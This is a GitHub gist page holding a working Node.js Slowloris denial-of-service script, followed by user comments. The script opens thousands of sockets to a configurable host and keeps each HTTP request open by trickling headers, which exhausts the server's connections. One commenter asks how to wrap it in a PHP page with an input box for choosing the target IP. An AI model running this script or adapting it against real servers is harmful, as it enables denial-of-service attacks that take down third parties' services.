Skip to content

Instantly share code, notes, and snippets.

@mehulmpt mehulmpt/index.js
Last active Apr 28, 2020

Embed
What would you like to do?
Slow Loris attack using Node
const net = require('net')
const opts = {
host: 'localhost',
port: 1234,
sockets: 2000,
respawn: false,
rate: 600,
method: 'GET',
path: '/'
}
let activeSockets = 0
console.log('Starting sockets...')
const addSocket = () => {
let socket = new net.Socket()
socket.connect(opts.port, opts.host)
socket.on('connect', () => {
socket.write(`${opts.method} ${opts.path} HTTP/1.1\n`, 'ascii', () => {
console.log('Socket activated. (Total active: ' + activeSockets + ')')
activeSockets++
socket.write(`Host: ${opts.host}\n`)
let sentPacketCount = 0
const intv = setInterval(() => {
if(!socket) clearInterval(intv)
else {
socket.write(`x-header-${sentPacketCount}: ${sentPacketCount}\n`)
sentPacketCount++
}
}, opts.rate)
})
socket.on('error', err => {
console.log('Socket error - ' + err.message)
socket.destroy()
})
socket.on('data', (data) => {
console.log('Socket data - ' + data.toString())
})
socket.on('close', () => {
activeSockets--
socket = false
if (opts.respawn) {
console.log('Respawning dead socket...')
addSocket()
}
})
})
socket.on('error', err => {
console.log(`Server down.`)
})
}
for (let i=0;i<opts.sockets; i++) {
addSocket()
}
@ValentinTapiaTorti

This comment has been minimized.

Copy link

ValentinTapiaTorti commented Oct 3, 2019

Hey I read your post, it was really good. My only question is why did you avoid the var/let/const keyword with the serverDown variable?

@hi-ashleyj

This comment has been minimized.

Copy link

hi-ashleyj commented Oct 4, 2019

Hey I read your post, it was really good. My only question is why did you avoid the var/let/const keyword with the serverDown variable?

Unless a variable is defined in a local scope, creating a variable by assigning a value WITHOUT var/let/const means that the variable will be available in the global context. Specifically, any assignment will look up the call stack and if it does not find a declaration in any localised scope, it will create and assign it in the global scope.

Either that or a typo :-/. I generally get a lot of those happen after doing some work in python.

@mehulmpt

This comment has been minimized.

Copy link
Owner Author

mehulmpt commented Oct 5, 2019

Yeah. I was testing something, that variable is not required.

@SpaceFerret

This comment has been minimized.

Copy link

SpaceFerret commented Dec 28, 2019

Hey, so how exactly would I implement this into a php webpage? I have tried with scripts but i can't find on with a GUI. Could someone point me in the right direction?

@mehulmpt

This comment has been minimized.

Copy link
Owner Author

mehulmpt commented Dec 28, 2019

What do you mean by implementing this in a PHP page?

@SpaceFerret

This comment has been minimized.

Copy link

SpaceFerret commented Dec 28, 2019

@mehulmpt I wanna know if this is possible to run on a web server with a php file, so like, get the javascript code into a normal script area and then run it, but be able to choose what the ip address is with a little text input box

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.